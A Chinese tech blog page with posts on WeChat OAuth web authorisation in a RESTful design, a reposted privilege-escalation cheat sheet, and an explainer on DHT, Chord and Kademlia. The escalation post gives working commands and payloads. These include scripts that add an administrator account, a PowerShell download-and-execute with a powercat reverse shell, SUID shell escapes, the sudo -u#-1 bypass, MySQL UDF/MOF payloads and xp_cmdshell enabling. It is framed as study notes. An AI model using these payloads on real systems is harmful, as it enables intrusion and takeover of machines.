e攻城狮

  • 首页

  • 随笔

  • 分类

  • 瞎折腾

  • 搜索

RESTful标准下的微信网页授权

发表于 2020-05-25 分类于 前端开发

微信网页授权流程

微信网页授权流程

具体而言,可分为两步:

1、引导用户进入授权页面同意授权,获取code 【拉起授权页】

引导用户点击授权链接
https://open.weixin.qq.com/connect/oauth2/authorize?appid=APPID&redirect_uri=REDIRECT_URI&response_type=CODE&scope=SCOPE&state=STATE#wechat_redirect

这里有两个参数比较注意的是:redirect_uri 授权成功后的跳转地址,授权作用域scope参数有两个值:snsapi_base和snsapi_userinfo。如果只需要获取openid则前者就够了,后者还可获取微信用户信息,前者的静默授权(不显示授权页面)功能也挺棒的。

若提示该链接无法访问,请检查参数是否填写错误,是否拥有scope参数对应的授权作用域权限。微信返回参数错误的原因一般有两种:一是在微信公众平台没有配置相应的参数;二是前端配置的接口参数与公众平台不一致。

具体参数说明

参数 是否必须 说明
appid 是 公众号的唯一标识
redirect_uri 是 授权后重定向的回调链接地址, 需要使用 urlencode 对链接进行处理,注意这个地址必须在公众号后台网页授权域名下
response_type 是 返回类型,填写code
scope 是 应用授权作用域,snsapi_base (不弹出授权页面,直接跳转,只能获取用户openid),snsapi_userinfo (弹出授权页面,可通过openid拿到昵称、性别、所在地。并且, 即使在未关注的情况下,只要用户授权,也能获取其信息 )
state 否 重定向后会带上state参数,传递什么返回什么, 可以作为参数传递
wechat_redirect 是 无论直接打开还是做页面302重定向时候,必须带此参数

2、通过code换取网页授权access_token进而获取用户openid和其他用户信息【获取用户信息】

获取code后,请求以下链接获取access_token
https://api.weixin.qq.com/sns/oauth2/access_token?appid=APPID&secret=SECRET&code=CODE&grant_type=authorization_code

参数说明

参数 是否必须 说明
appid 是 公众号的唯一标识
secret 是 公众号的appsecret
code 是 填写第一步获取的code参数
grant_type 是 填写为authorization_code

正确时返回的JSON数据包如下:

1
2
3
4
5
6
7
{
"access_token":"ACCESS_TOKEN",
"expires_in":7200,
"refresh_token":"REFRESH_TOKEN",
"openid":"OPENID",
"scope":"SCOPE"
}

拉取用户信息(需scope为 snsapi_userinfo)

如果网页授权作用域为snsapi_userinfo,则此时开发者可以通过access_token和openid拉取用户信息了。

http:GET(请使用https协议)
https://api.weixin.qq.com/sns/userinfo?access_token=ACCESS_TOKEN&openid=OPENID&lang=zh_CN

参数说明

参数 是否必须 说明
access_token 是 网页授权接口调用凭证,注意:此access_token与基础支持的access_token不同
openid 是 用户的唯一标识
lang 是 返回国家地区语言版本,zh_CN 简体,zh_TW 繁体,en 英语

正确时返回的JSON数据包如下:

1
2
3
4
5
6
7
8
9
10
11
{   
"openid":" OPENID",
"nickname": NICKNAME,
"sex":"1",
"province":"PROVINCE",
"city":"CITY",
"country":"COUNTRY",
"headimgurl": "http://thirdwx.qlogo.cn/mmopen/g3MonUZtNHkdmzicIlibx6iaFqAc56vxLSUfpb6n5WKSYVY0ChQKkiaJSgQ1dZuTOgvLLrhJbERQQ4eMsv84eavHiaiceqxibJxCfHe/46",
"privilege":[ "PRIVILEGE1" "PRIVILEGE2" ],
"unionid": "o6_bmasdasdsad6_2sgVt7hMZOPfL"
}

注意:unionid 只有在开发者将公众号绑定到微信开放平台帐号后,才会出现该字段。

到此,微信网页授权也就结束了,更多请查看微信网页授权文档

针对RESTful规范修改

现代项目开发基本上都是采用完全的前后端分离开发模式,后端采用统一规范返回json或者jsonp等给前端,而前端不再是伪静态页面,而是存粹的静态HTML,用户请求基本上都是通过ajax此类异步请求完成后端数据接收的。而在官方推荐的流程中,redirect_url被定向到后端处理接口,处理完成后使用header等强制跳转处理后的页面的方式在此处就行不通了,因为它打破了前期统一制定好的代码规范。那么 redirect_url 定向到前端页面,让前端来接收Code是否可行呢? 答案是:可行。

超文本标记语言(HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。HTML是一种基础技术,常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面[3]。网页浏览器可以读取HTML文件,并将其渲染成可视化网页。HTML描述了一个网站的结构语义随着线索的呈现,使之成为一种标记语言而非编程语言。 —–wiki

我们知道html不是编程语言,是不能如php、java等编程语言那样获取用户请求参数的,但是GET请求例外,因为GET参数通过URL传递, 使用location.href或location.search是可以从URL中提取到GET参数的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
var getQueryVariable = (variable) => {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split("=");
if (pair[0] === variable) {
return pair[1];
}
}
return false;
}

回到正题,我们知道用户同意授权后,微信重定向时将code和state作为参数加到redirect_url链接上,也就是如下形式:

redirect_url?code=001EX7O42pPubS00IvO42KtjO42EX7O8&state

处理过程如下:

1、我们将redirect_url定向到前端静态处理的页面A

1
2
3
4
5
6
7
A.html
// 获取授权url
window.auth = (type) => {
http('wxAuthUrl', {type: type, callback: location.href //A.html}, (response) => {
location.href = response.data;
})
}

对应的后端接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

/**
* 获取授权地址
* @request('/wxAuthUrl')
* @param array $request
* @return array
*/
public function wxAuthUrl(array $request)
{
$callback = urlencode($request['callback']);// redirect_url
$state = @$request['type']; // 根据这个值判断授权范围scope
if (1 == $state) {
$scope = "snsapi_userinfo";
} else {
$scope = "snsapi_base";
}
$url = "https://open.weixin.qq.com/connect/oauth2/authorize?appid=wx552593a8e7c4b0de&redirect_uri={$callback}&response_type=code&scope={$scope}&state={$state}#wechat_redirect";
return $this->response(0, 'success', $url);
}

2、页面A接收到code值以后,传递给后台

1
2
3
4
5
6
7
8
9
10
A.html

window.onload = () => {
let code = getQueryVariable('code'), state = getQueryVariable('state'); // 获取到微信传递的code和state
if (code) {
http('wxCall', {code: code, state: state}, (response) => {// 返回给后端处理
document.getElementById('content').innerHTML = JSON.stringify(response.data);
})
}
}

3、后台通过code执行授权步骤2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 微信授权回调,原来是作为redirect_url使用的,现在修改下返回值即可满足新需求
* @request('/wxCall')
* @param array $request
* @return array
*/
public function wxCall(array $request)
{
try {
// code->access_token
$ret = json_decode(file_get_contents("https://api.weixin.qq.com/sns/oauth2/access_token?appid=" . self::APPID . "&secret=" . self::SECRET . "&code={$request['code']}&grant_type=authorization_code"), true);
// access_token->profile
if (1 == $request['state']) {
$ret = json_decode(file_get_contents("https://api.weixin.qq.com/sns/userinfo?access_token={$ret['access_token']}&openid={$ret['openid']}&lang=zh_CN"), true);
}
// header("location: success.html");
return $this->response(0, 'success', $ret);
} catch (\Exception $e) {
// header("location: fail.html");
return $this->response(4000, $e->getMessage());
}
}

这样一来,整个交互过程便统一了, 效果如下:

演示地址:https://app.ya2.top/wxauth/ (建议在微信环境打开)
源码地址:https://github.com/gouyuwang/wxauth/

电商设计手册 转

发表于 2020-05-11 分类于 架构设计

文章内容已被作者限制访问

原文:《电商设计手册 | SkrShop》

权限提升姿势 转

发表于 2020-04-22 分类于 安全研究

前言


某段时间突然对权限提升感起了兴趣,在各大论坛和大佬们的博客寻找权限提升的姿势,固有了想对提权姿势进行一次系统整理的打算,本篇文章是对权限提升方法的总结,记录自己学习和复现的过程。

windows篇


windows溢出提权

具体步骤

  1. 查看系统补丁信息

    systeminfo

  2. 寻找可用exp

    https://github.com/SecWiki/windows-kernel-exploits
    https://bugs.hacking8.com/tiquan/

  3. 一把梭!

启动项提权

具体步骤

  • 启动项路径:

    C:\Users\{用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

  • 在启动项中创建vbs或bat脚本
    vbs:

    1
    2
    3
    set wshshell=createobject("wscript.shell")  
    a=wshshell.run("cmd.exe /c net user 用户名 密码 /add",0)
    b=wshshell.run("cmd.exe /c net localgroup administrators 用户名 /add",0)

    bat:

    1
    2
    net user 用户名 密码 /add  
    net localgroup administrators 用户名 /add
  • 接下来需要等待机器重启并以较大权限的账号登录,暴力一点可以配合漏洞打蓝屏poc强制重启。

  • bat脚本运行时会有个dos弹一下,vbs不会弹,建议使用vbs脚本

UAC提权(CVE-2019-1388)

漏洞简介

该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。
利用该漏洞很容易就可以提升权限到SYSTEM

影响范围

按照exp作者的描述,影响范围如下:
Windows 2008r2 7601 link OPENED AS SYSTEM
Windows 2012r2 9600 link OPENED AS SYSTEM
Windows 2016 14393 link OPENED AS SYSTEM
Windows 2019 17763 link NOT opened
Windows 7 SP1 7601 link OPENED AS SYSTEM
Windows 8 9200 link OPENED AS SYSTEM
Windows 8.1 9600 link OPENED AS SYSTEM
Windows 10 1511 10240 link OPENED AS SYSTEM
Windows 10 1607 14393 link OPENED AS SYSTEM
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
…

复现准备

  • EXP地址
    https://github.com/jas502n/CVE-2019-1388

  • 复现环境
    windows 7专业版

复现过程

  • 将EXP传入系统,点击下图中箭头所指的位置

  • 点击颁发者中的超链接

  • 成功弹出ie,此时ie是以system权限开启

  • 页面另存为,输入cmd路径

  • 权限为system

Juicypotato

工具简介

在尝试windows下的一系列提权操作后都没有成功,可以尝试一下烂土豆,这里在吐司上找到一个大佬改写的juicypotato,自动化程度比原版更高,使用起来更简单,配合webshell食用可以说是非常美味。

复现准备

  • 一个有执行权限的webshell

  • 大佬改版后的Juicypotato

复现过程

  • 使用webshell上传烂土豆并执行命令,这里使用powershell做反弹shell

    1
    Juicypotato.exe -p "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://ip/ps.ps1');powercat -c ip -p 444 -e cmd"

linux篇


内核溢出

平常问大佬们linux下的提权,听的最多的就是脏牛一把梭,但是目前实战还没有提成功,固这里简单叙述一下。

具体步骤

  • 查看内核版本

    uname -a

  • 寻找exp一把梭

    https://github.com/SecWiki/linux-kernel-exploits

定时任务提权

什么是定时任务

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。

  • 通过命令查看
    crontab -l
    注意:只能查看当前用户的定时任务

  • 可以通过以下文件查看现有定时任务
    /etc/crontab
    /var/spool/cron/crontabs
    /etc/cron.*/

提权前提

  • 定时任务以root或高权限用户运行

  • 现有较低权限用户拥有对该定时任务文件的写权限

复现准备

  • 以root身份创建一个定时任务,定时执行py脚本

复现过程

  • 假设我们获取到了一个低权限用户,查看/etc/crontab文件,发现有个以root身份运行的py脚本定时任务

  • 发现可以对该文件进行读写,在py脚本中执行os命令反弹 shell

  • 该定时任务1分钟运行一次,这里等待服务器接收shell即可

suid提权

什么是suid提权

详细介绍可参考 P牛大大的文章 ,简单来说SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

提权过程

  • 查找系统中可使用root权限运行的命令

    1
    2
    3
    find / -user root -perm -4000 -print 2>/dev/null  
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \\;
  • 一些可用于提权的文件

  • Nmap(2.02-5.21)
    nmap –interactive
    !sh

  • find
    touch pentestlab
    find pentestlab -exec whoami \;

  • less/more
    less(more) /etc/passwd
    !/bin/sh

  • vim/vi
    vim.tiny
    :set shell=/bin/sh
    :shell

  • git
    git help config
    !/bin/bash
    …

    印象中还有一些命令可以达到提权的效果,暂时只收集了这些。这里也是提供了一个思路,找到了能以root运行的命令之后可以去翻阅这个命令的相关参数,看能否达到shell交互的效果。

sudo权限绕过(CVE-2019-14287)

感觉这个漏洞实战不太会遇到,不过说不定哪天能中呢 :)

漏洞简介

一般情况下,大多数Linux发行版的Runas规范(/etc /sudoers)都如下图所示,其中定义的ALL关键字将允许admin或sudo组中的用户以目标系统中的任意用户身份来运行命令:

通过将用户ID修改为-1(或未签名的等价用户ID-4294967295)可以绕过该配置文件限制,达到权限提升的效果。

影响范围

sudo < 1.8.28

复现准备

手动配置/etc/sudoers文件,添加内容如下:

表示不允许用户xlxxlx以root身份执行任意命令,也就相当于无法使用sudo命令。

复现过程

  • 查看配置文件是否生效

    提示xlxxlx用户无法以root身份执行whoami

  • 直接上payload
    sudo -u#-1 whoami

Mysql篇


UDF提权

什么是UDF

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

提权过程

udf.dll文件的提取可以参考这篇文章

  • mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
    mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\

  • 通过sql语句创建自定义命令并执行

    1
    2
    create function xxx returns string soname 'udf.dll'  
    select xxx('cmd')

这里使用一个udf提权马进行复现

  • 自动导出udf到目录

  • 创建自定义函数并执行提权操作

MOF

什么是MOF提权

mof提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,我们把想要执行的cmd命令代入mof文件中即可,和linux下的定时任务提权相似。

MOF代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\.\\root\\subscription")

instance of  * * EventFilter as {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa \"
Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"此处填入cmd命令\")";
};

instance of __FilterToConsumerBinding {
Consumer = ;
Filter = ;
};

用法

保存为 xxx.mof
然后mysql执行:

1
select load_file('/xxx.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

Sqlserver篇


xp_cmdshell

提权前提

  • 获取sa账号密码,例如查看网站的配置文件conn.asp,config.asp等。

  • 需要开启xp_cmdshell才可执行系统命令

提权过程

  • 开启xp_cmdshell组件

    1
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

  • 如果xp_cmdshell组件被删除,上传xplog70.dll

    1
    EXEC master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’
  • 执行命令

    1
    EXEC master.dbo.xp_cmdshell 'cmd'

总结


这篇文章记录的提权方法都是较新或者比较经典,对实战有帮助的提权方法,其实还有很多其他的提权方法,碍于没有成功复现不好对提权的难度和利用条件做出判断,后续有机会也会慢慢都收录下。

分布式哈希表 (DHT) 和 P2P 技术 转

发表于 2020-04-17

1. 引言

相信没有人没使用过 P2P 技术. BT 种子和磁力链接就是最常见的 P2P 技术, 使用 P2P 技术, 文件不再需要集中存储在一台服务器上, 而是分散再各个用户的节点上, 每个人都是服务的提供者, 也是服务的使用者. 这样的系统具有高可用性, 不会由于一两台机的宕机而导致整个服务不可用. 那么这样一个系统是怎样实现的, 如何做到去中心化(decentralization)和自我组织(self-organization)的呢? 这篇文章我们来讨论一下这个问题.

这篇文章先会介绍 P2P 网络的整体思路, 并引出 P2P 网络的主角 - 分布式哈希表(Distributed Hash Table, DHT); 接着会介绍两种分布式哈希表算法. 这些会让你对 P2P 技术有一个较为具体的了解.

2. P2P 网络的概述

2.1 传统 CS 网络和 P2P 网络

CS 架构即 Client-Server 架构, 由服务器和客户端组成: 服务器为服务的提供者, 客户端为服务的使用者. 我们如今使用的很多应用程序例如网盘, 视频应用, 网购平台等都是 CS 架构. 它的架构如下图所示:

cs

当然服务器通常不是一个单点, 往往是一个集群; 但本质上是一样的. CS 架构的问题在于, 一旦服务器关闭, 例如宕机, 被 DDoS 攻击或者被查水表, 客户端就无法使用了, 服务也就失效了.

为了解决这个问题, 人们提出了 P2P 网络(Peer-to-peer Networking). 在 P2P 网络中, 不再由中心服务器提供服务, 不再有”服务器”的概念, 每个人即使服务的提供者也是服务的使用者 – i.e., 每个人都有可能是服务器. 我们常用的 BT 种子和磁力链接下载服务就是 P2P 架构. 人们对 P2P 系统作了如下定义:

a Peer-to-Peer system is a self-organizing system of equal, autonomous entities (peers) which aims for the shared usage of distributed resources in a networked environment avoiding central services.

一个 P2P 系统是每个节点都是平等, 自主的一个自我组织的系统, 目的是在避免中心服务的网络环境中共享使用分布式资源.

P2P

P2P 系统的架构如上图所示. 由于去掉了中心服务器, P2P 系统的稳定性就强很多: 少数几个个节点的失效几乎不会影响整个服务; 节点多为用户提供, 可以做到 “野火烧不尽, 春风吹又生”. 即使有人想恶意破坏, 也无法对整个系统造成有效打击.

2.2 朴素的 P2P 网络

P2P 网络需要解决的一个最重要的问题就是, 如何知道用户请求的资源位于哪个节点上. 在第一代 P2P 网络中, 人们设置了一台中央服务器来管理资源所处的位置. 当一个用户想要发布资源, 他需要告诉中央服务器它发布的资源信息和自己的节点信息; 当其他用户请求资源的时候, 需要先请求中央服务器以获取资源发布者的节点信息, 再向资源发布者请求资源.

central-server

这种 P2P 网络的好处是效率高, 只需要请求一次中央服务器就可以发布或获取资源. 然而它的缺点也很明显: 中央服务器是这个网络系统最脆弱的地方, 它需要存储所有资源的信息, 处理所有节点的请求; 一旦中央服务器失效, 整个网络就无法使用.

早期的另外一种 P2P 网络采取了不同的策略, 它不设置中央服务器; 当用户请求资源时, 它会请求它所有的邻接节点, 邻接节点再依次请求各自的邻接节点, 并使用一些策略防止重复请求, 直到找到拥有资源的节点. 也就是说, 这是一种泛洪搜索(Flooding Search).

flooding-search

这种 P2P 网络去除了中央服务器, 它的稳定性就强多了. 然而它太慢了. 一次查找可能会产生大量的请求, 可能会有大量的节点卷入其中. 一旦整个系统中的的节点过多, 性能就会变得很差.

2.3 分布式哈希表

为了解决这些问题, 分布式哈希表应运而生. 在一个有 $n$ 个节点的分布式哈希表中, 每个节点仅需存储 $\mathrm{O}(\log{n})$ 个其他节点, 查找资源时仅需请求 $\mathrm{O}(\log{n})$ 个节点, 并且无需中央服务器, 是一个完全自组织的系统. 分布式哈希表有很多中实现算法, 第 3 节和第 4 节会详细介绍其中的两种. 这里我们先来看看它们共通的思想.

地址管理

首先, 在分布式哈希表中, 每个节点和资源都有一个唯一标识, 通常是一个 160 位整数. 为方便起见, 我们称节点的唯一标识为 ID, 称资源的唯一标识为 Key. 我们可以把一个节点的 IP 地址用 SHA-1 算法哈希得到这个节点的 ID; 同样地, 把一个资源文件用 SHA-1 算法哈希就能得到这个资源的 Key 了.

定义好 ID 和 Key 之后, 就可以发布和存储资源了. 每个节点都会负责一段特定范围的 Key, 其规则取决于具体的算法. 例如, 在 Chord 算法中, 每个 Key 总是被第一个 ID 大于或等于它的节点负责. 在发布资源的的时候, 先通过哈希算法计算出资源文件的 Key, 然后联系负责这个 Key 的节点, 把资源存放在这个节点上. 当有人请求资源的时候, 就联系负责这个 Key 的节点, 把资源取回即可.

发布和请求资源有两种做法, 一种是直接把文件传输给负责的节点, 由它存储文件资源; 请求资源时再由这个节点将文件传输给请求者. 另一种做法是由发布者自己设法存储资源, 发布文件时把文件所在节点的地址传输给负责的节点, 负责的节点仅存储一个地址; 请求资源的时候会联系负责的节点获取资源文件的地址, 然后再取回资源. 这两种做法各有优劣. 前者的好处是资源的发布者不必在线, 请求者也能获取资源; 坏处是如果文件过大, 就会产生较大的传输和存储成本. 后者的好处是传输和存储成本都比较小, 但是资源的发布者, 或者说资源文件所在的节点必须一直在线.

路由算法

上面我们简述了地址系统, 以及如何发布和取回资源. 但是现在还有一个大问题: 如何找到负责某个特定 Key 的节点呢? 这里就要用到路由算法了. 不同的分布式哈希表实现有不同的路由算法, 但它们的思路是一致的.

首先每个节点会有若干个其他节点的联系方式(IP 地址, 端口), 称之为路由表. 一般来说一个有着 $n$ 个节点的分布式哈希表中, 一个节点的路由表的长度为 $\mathrm{O}(\log{n})$. 每个节点都会按照特定的规则构建路由表, 最终所有的节点会形成一张网络. 从一个节点发出的消息会根据特定的路由规则, 沿着网络逐步接近目标节点, 最终达到目标节点. 在有着 $n$ 个节点的分布式哈希表中, 这个过程的转发次数通常为 $\mathrm{O}(\log{n})$ 次.

自我组织(self-organization)

分布式哈希表中的节点都是由各个用户组成, 随时有用户加入, 离开或失效; 并且分布式哈希表没有中央服务器, 也就是说着这个系统完全没有管理者. 这意味着分配地址, 构建路由表, 节点加入, 节点离开, 排除失效节点等操作都要靠自我组织策略实现.

要发布或获取资源, 首先要有节点加入. 一个节点加入通常有以下几步. 首先, 一个新节点需要通过一些外部机制联系分布式哈希表中的任意一个已有节点; 接着新节点通过请求这个已有节点构造出自己的路由表, 并且更新其他需要与其建立连接的节点的路由表; 最后这个节点还需要取回它所负责的资源.

此外我们必须认为节点的失效是一件经常发生的事, 必须能够正确处理它们. 例如, 在路由的过程中遇到失效的节点, 会有能够替代它的其他节点来完成路由操作; 会定期地检查路由表中的节点是否有效; 将资源重复存储在多个节点上以对抗节点失效等. 另外分布式哈希表中的节点都是自愿加入的, 也可以自愿离开. 节点离开的处理与节点失效类似, 不过还可以做一些更多的操作, 比如说立即更新其他节点的路由表, 将自己的资源转储到其他节点等.

3. Chord 算法

上一节简单介绍了 P2P 网络和分布式哈希表, 现在我们来讨论它的一个具体实现. 分布式哈希表有很多中实现, Ion Stoica 和 Robert Morris 等人在 2001 年的一篇论文中提出了 Chord 算法. Chord 算法比较简洁, 也很漂亮, 这里我们先介绍它.

3.1 地址管理

正如 2.3 节所述, Chord 使用一个 m 位整数作为节点和资源的唯一标识. 也就是说标识的取值范围为 $0$ 至 $2^m-1$ 的整数. Chord 把所有的 ID 排列成一个环, 从小到大顺时针排列, 首尾相连. 为了方便起见, 我们称每个 ID 都先于它逆时针方向的 ID, 后于它顺时针方向的 ID. 每个节点都能在这个环中找到自己的位置; 而对于 Key 值为 k 的资源来说, 它总是会被第一个 ID 先于或等于 k 的节点负责. 我们把负责 k 的节点称为 k 的后继, 记作 $successor(k)$. 例如, 如下图所示, 在一个 m = 4 的 Chord 环中, 有 ID 分别为 0, 1, 4, 8, 11, 14 的六个节点. Key 为 1 的资源被 ID 为 1 的节点负责, Key 为 5 的资源被 ID 为 8 的节点负责, Key 为 15 的资源被 ID 为 0 的节点负责. 也就是有 $successor(1)=1$, $successor(5)=8$, $successor(15)=0$.

chord-ring

3.2 路由算法

在 Chord 算法中, 每个节点都保存一个长度为 m 的路由表, 存储至多 m 个其他节点的信息, 这些信息能让我们联系到这些节点. 假设一个节点的 ID 为 n(以下简称节点 n), 那么它的路由表中第 i 个节点应为第一个 ID 先于或等于 $n+2^{i-1}$ 的节点, 即 $successor(n+2^{i-1})$, 这里 $1 \leqslant i \leqslant m$. 我们把 n 的路由表中的第 i 个节点记作 $n.finger[i]$. 显然, 路由表中的第一个节点为顺时针方向紧挨着 n 的节点, 我们通常称它为节点 n 的后继节点, 记作 $n.successor$.

route-table

有了这个路由表, 我们就可以快速地寻址了. 假设一个节点 n 需要寻找 Key 值为 k 的资源所在的节点, 即寻找 $successor(k)$, 它首先判断 k 是否落在区间 $(n, n.successor]$ 内; 如果是, 则说明这个 Key 由它的后继负责. 否则 n 从后向前遍历自己的路由表, 直到找到一个 ID 后于 k 的节点, 然后把 k 传递给这个节点由它执行上述查找工作, 直到找到为止.

route-table

上图展示了从节点 4 寻找节点 1 的过程. 节点 4 的路由表中的节点分别为 8, 11, 14. 它首先会从后向前找到路由表中第一个后于 1 的节点为 14, 然后就请求 14 帮忙寻找 1. 节点 14 的路由表分别为 0, 4, 8; 同样地, 14 就会请求节点 0 帮忙寻找 1. 最终节点 0 找到它的后继即为节点 1.

可以看到, 整个查找过程是逐步逼近目标目标节点的. 离目标节点越远, 跳跃的距离就越长; 离目标节点越近, 跳跃的距离就越短, 越精确. 若整个系统有 N 个节点, 查找进行的跳跃次数就为 $\mathrm{O}(\log N)$.

3.3 自我组织

节点加入

一个节点要想加入 Chord 并不难. 上一节说了, Chord 系统中的任意一个节点都能对任意 Key k 找到它的后继 $successor(k)$. 首先, 新节点 $n$ 使用一些算法生成自己的 ID, 然后它需要联系系统中的任意一个节点 $n’$, 让他帮忙寻找 $successor(n)$. 显然, $successor(n)$ 即是 n 的后继节点, 同时也是它路由表中的第一个节点. 接下来它再请求 $n’$ 帮忙分别寻找 $successor(n + 2^1)$, $successor(n + 2^2)$, 等等, 直到构建完自己的路由表.

构建完自己的路由表后, n 基本上算是加入 Chord 了. 不过还不够, 因为这时其他的节点还不知晓它的存在. n 加入后, 有些节点的路由表中本该指向 n 的指针却仍指向 n 的后继. 这个时候就需要提醒这些节点更新路由表. 哪些节点需要更新路由表呢? 我们只需把操作反过来: 对所有的 $1 \leqslant i \leqslant m$, 找到第一个后于 $n - 2^{i-1}$ 的节点. 这与寻找后继相同, 就不再赘述了.

最后, 新节点 n 还需要取回它负责的所有资源. n 只需联系它的后继取回它后继所拥有的所有 Key 后于或等于 n 的资源即可.

处理并发问题

考虑多个节点同时加入 Chord. 如果使用上述方法, 就有可能导致路由表不准确. 为此, 我们不能在新节点加入的时候一次性更新所有节点的路由表. Chord 算法非常重要的一点就是保证每个节点的后继节点都是准确的. 为了保证这一点, 我们希望每个节点都能和它的后继节点双向通信, 彼此检查. 因此我们给每个节点添加一个属性 $n.predecessor$ 指向它的前序节点. 然后, 我们让每个节点定期执行一个操作, 称之为 $stabilize$. 在 $stabilize$ 操作中, 每个节点 $n$ 都会向自己的后继节点 $s$ 请求获取 $s$ 的前序节点 $x$. 然后 $n$ 会检查 $x$ 是否更适合当它的后继, 如果是, $n$ 就它自己的后继更新为 $x$. 同时 $n$ 告诉自己的后继 $s$ 自己的存在, $s$ 又会检查 $n$ 是否更适合当它的前序, 如果是, $s$ 就把自己的前序更新为 $n$. 这个操作足够简单, 又能够保证 Chord 环的准确性.

当新节点 $n$ 加入 Chord 时, 首先联系已有节点 $n’$ 获取到 $n.successor$. $n$ 除了设置好自己的后继之外, 什么都不会做; 此时 $n$ 还没有加入 Chord 环. 这要等到 $stabilize$ 执行之后: 当 $n$ 执行 $stabilize$ 时, 会通知它的后继更新前序为 $n$; 当 $n$ 真正的前序 $p$ 执行 $stabilize$ 时会把自己的后继修正为 $n$, 并通知 $n$ 设置前序为 $p$. 这样 $n$ 就加入到 Chord 环中了. 这样的操作在多个节点同时加入时也是正确有效的.

此外每个节点 $n$ 还会定期修复自己的路由表, 以确保能指向正确的节点. 具体的做法是随机选取路由表中的第 $i$ 个节点, 查找并更新 $n.finger[i]$ 为 $successor(n+2^{i-1})$. 由于 $n$ 的后继节点始终是正确的, 所以这个查找操作始终是有效的.

节点失效与离开

一旦有节点失效, 势必会造成某个节点的后继节点失效. 而后继节点的准确性对 Chord 来说至关重要, 它的失效意味着 Chord 环断裂, 可能导致查找失效, $stabilize$ 操作无法进行. 为了解决这个问题, 一个节点通常会维护多个后继节点, 形成一个后继列表, 它的长度通常是 m. 这样的话, 当一个节点的后继节点失效后, 它会在后继列表中寻找下一个替代的节点. 此外一个节点的失效意味着这个节点上资源的丢失, 因此一个资源除了存储在负责它的节点 n 上之外, 还会被重复地存储在 n 的若干个后继节点上.

节点离开的处理与节点失效相似, 不同的是节点离开时可以做一些额外的操作, 例如通知它周围的节点立即执行 $stabilize$ 操作, 把资源转移到它的后继, 等等.

4. Kademlia 算法

Petar Maymounkov 和 David Mazières 在 2002 年的一篇论文中提出了 Kademlia 算法,相比与 Chord 算法, Kademlia 算法容错度更高, 效率也高于 Chord, 也更巧妙合理.

4.1 地址管理

Kademlia 同样使用 m 位整数作为节点和资源的唯一标识. 与 Chord 中的 “区间负责制” 不同, Kademlia 中的资源都是被离它最近的节点负责. 出于容错考虑, 每个资源通常都被距离它最近的 k 个节点负责, 这里 k 是一个常量, 通常取 k 使得在系统中任意 k 个节点都不太可能在一小时之内同时失效, 比如取 k = 20. 有趣的是, 这里的 “距离” 并不是数值之差, 而是通过异或运算得出的. 在 Kademlia 中, 每个节点都可以看作一颗高度为 m + 1 的二叉树上的叶子节点. 把 ID 二进制展开, 从最高位开始, 自根节点逢 1 向左逢 0 向右, 直到抵达叶子节点. 如下图所示.

binary-tree

Kademlia 的巧妙之处就是定义两个 ID $x$ 和 $y$ 之间的距离为 $x \oplus y$. 异或运算的特点是异为真同为假, 如果两个 ID 高位相异低位相同, 它们异或的结果就大; 如果它们高位相同低位相异, 异或的结果就小. 这与二叉树中叶子的位置分布是一致的: 如果两个节点共有的祖先节点少(高位相异), 它们的距离就远; 反之, 如果共有的祖先节点多(高位相同), 它们的距离就近. 上图标注了一些节点之间的距离, 大家可以感受一下.

异或运算的另一个重要性质是, 异或的逆运算仍是异或. 即如果有 $x \oplus y = d$ 则 $x \oplus d = y$. 这就意味着对于每个节点, 给的一个距离 $d$, 至多有一个与其距离为 $d$ 节点. 这样一来 Kademlia 的拓扑结构是单向的(unidirectional). 单向性确保不管查找从哪个节点开始, 同一 Key 的所有查找都会沿着同一路径收敛.

4.2 路由算法

